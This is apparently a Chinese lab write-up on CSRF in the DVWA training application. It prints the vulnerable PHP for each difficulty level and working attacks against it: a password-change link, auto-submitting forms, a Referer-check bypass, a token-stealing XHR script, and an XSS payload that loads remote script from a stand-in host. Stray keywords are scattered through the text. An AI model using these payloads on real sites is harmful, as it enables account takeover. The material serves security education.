這麼多攻擊中,CSRF 攻擊,全稱是 Cross Site Request Forgery,翻譯過來是跨站請求僞造可謂是最防不勝防之一。好比刪除一篇文章,添加一筆錢之類,若是開發者是沒有考慮到會被 CSRF 攻擊的,一旦被利用對公司損失很大的。javascript
界面以下,目的是實現修改密碼php
低級代碼以下css
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
功能確實是能夠修改密碼的。html
然而 Hacker 發了一封使人驚喜的郵件給你,裏面的內容是這樣的。
前端
或者是這樣 java
只要點擊進去了。密碼就被改了。由於他的連接是。。。mysql
http://192.168.0.110:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
而後密碼就被改爲 123456。。。sql
或者連接是指向的是一個惡意網站。網站裏面有一張圖片,並且是打不開。可是這張圖片的連接是。。。http://192.168.31.166:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
後端
密碼又被改了。跨域
或者你會以爲形成這種問題的主要緣由是用 Get 請求,用 Post 就不會了。。。Hacker 的就將網站寫成這樣了。
<form action="" id="change-passwd" method="post"> <input type="password" name="password_new" value=""/> <input type="password" name="password_conf" value=""/> <input type="submit" name="submit" value="submit"/> </form> <script> var form = document.getElementById("change-passwd"); form.inputs[0].value="123456"; form.inputs[1].value="123456"; form.submit(); </script>
這漏洞確實是防不勝防。。。接下面看看中級代碼
中級代碼就多了驗證請求頭部的來源地址(Referer),來源地址與服務器地址一致才能修改密碼。而你從郵件中點擊連接過來的,或者從另外網站點擊的是不能修改密碼。
<?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
而驗證的來源地址和服務器地址是否一致的代碼是這樣的
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
而 stripos函數的定義 能夠看這裏。
假如服務器的地址是 192.168.0.110($_SERVER[ 'SERVER_NAME' ]
),而惡意的網站的地址是 a.com/192.168.0.110.php($_SERVER[ 'HTTP_REFERER' ]
) 。。。不就能夠繞過了嗎?
而 192.168.0.110.php 的內容也很簡單
`php <form action="http://192.168.0.110:5678/vulnerabilities/csrf/?" method="GET"> <h1>Click Me</h1> <input type="text" name="password_new" value="hacker"> <input type="text" name="password_conf" value="hacker"> <input type="submit" value="Change" name="Change"> </form> <script> document.getElementsByTagName("form")[0].submit() <script>
CSRF 爲何會成功?其本質緣由是重要操做的全部參數均可以被攻擊者猜想到。 --吳翰清 《白帽子講 Web 安全》 p121
因此參數若是有一個攻擊者猜想不到的參數,攻擊者就很難攻擊了。因此服務器生成一個(僞)隨機字符串(叫 token),保存在 session 中,同時放在網頁上中。用戶登陸,發送請求的時候會把這個字符串帶到服務器上驗證。
高級代碼以下
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
因此,若是要攻擊的話,首先要獲取頁面的 token,假如 Hacker 在網站 a.com/csrf.php 上寫了這樣的代碼呢?
<script> var xmlhttp = new XMLHttpRequest(); xmlhttp.withCredentials = true; var success = false; xmlhttp.onreadystatechange = function(){ if (xmlhttp.readyState == 4 && xmlhttp.status == 200){ var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); var token = match[1]; var pass = "123456"; var attack_url = "http://192.168.0.110:5678/vulnerabilities/csrf/?user_token="+token+"&password_new="+pass+"&password_conf="+pass+"&Change=Change"; if(!success){ success=true; xmlhttp.open("GET",attack_url); xmlhttp.send(); } } } xmlhttp.open("GET","http://192.168.0.110:5678/vulnerabilities/csrf/"); xmlhttp.send(); </script>
這是不能執行的,緣由是現代瀏覽器是不容許進行跨域請求的(先後端分離會有特定的請求頭),在 a.com 上不能請求 192.168.0.110 的數據的(除了css,js之類的靜態文件外)。因此要「另闢蹊徑」。
也看了下《白帽子講 Web安全》。也說若是存在 XSS 漏洞,這方案就會變無效了。。。因此這代碼主要仍是本身或隊友的代碼形成有漏洞了。。。
簡要解釋一下,由於高級反射型 XSS那裏有個漏洞,那裏能有效地去掉了 script 標籤的注入,可是忽略了 img 之類的元素注入。
因此,能夠往裏面注入 <img src=x onerror="alert(1)">
這樣的東西。若是你用點開這樣的連接 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onerror%3D%22alert%281%29%22%3E# ,就會看到彈窗了,也就是說能注入 js 代碼。
而後要作的東西是往裏面注入遠程的 js 代碼(test.js),test.js 的內容上面跨域的內容同樣。因此問題是如何注入 '' 這樣的字符串
而服務器有個正則替換<.\*s.\*c.\*r.\*i.\*p.\*t
,全部含有 script 的字符都會被替換 。直接在onerror
函數中注入代碼是能夠的,可是有點痛苦,由於要躲開這個正則替換。因此能夠用點取巧的方式,onerror
裏面的內容是eval(unescape(location.hash.substr(1)))
,其中location.hash
是 url 中 # 後面的內容(通常是前端框架用來作路由,且沒有長度限制),就是要注入的 js 的內容了。
點擊下面這個連接,就能夠繞過 anti-token 機制改掉密碼。。。
http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22//www.a.com/test.js%22);h.appendChild(s)
哈希路由後面的代碼
d=document; h=d.getElementsByTagName('head').item(0); s=d.createElement('script'); s.setAttribute('src','//www.a.com/test.js'); h.appendChild(s);
意思是在 head 的標籤下添加個 ''
和高級相比,不可能級別會要求檢查原密碼,就算有 XSS 漏洞也要知道原密碼才能修改,並且代碼中用了 $db->prepare 的寫法防止 SQL 的注入。這樣安全多了。
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match or current password incorrect.</pre>"; } } // Generate Anti-CSRF token generateSessionToken(); ?>
dvwa 中防護 CSRF 攻擊主要是經過驗證 Referer 頭和設置 anti-token 的方式。而不可能級別的還會要求驗證原密碼。 而 referer check 缺陷在於,服務器並不是何時都能取得 referer。不少時候用戶出於隱私保護的考慮,限制了 Referer 的發送。某些狀況下,瀏覽器也不會發送 Referer,好比從 HTTPS 跳轉到 HTTP,出於安全的考慮,瀏覽器也不會發送 Referer(《白帽子講Web安全》)
而通常用 anti-token 機制就能很好地防護了。
若是有驗證碼的存在,也能提升攻擊的難度。
如今的網站重置密碼也不會這樣直接重置了,基本也會發一個有待 token 的 url 郵件或者手機短信驗證碼吧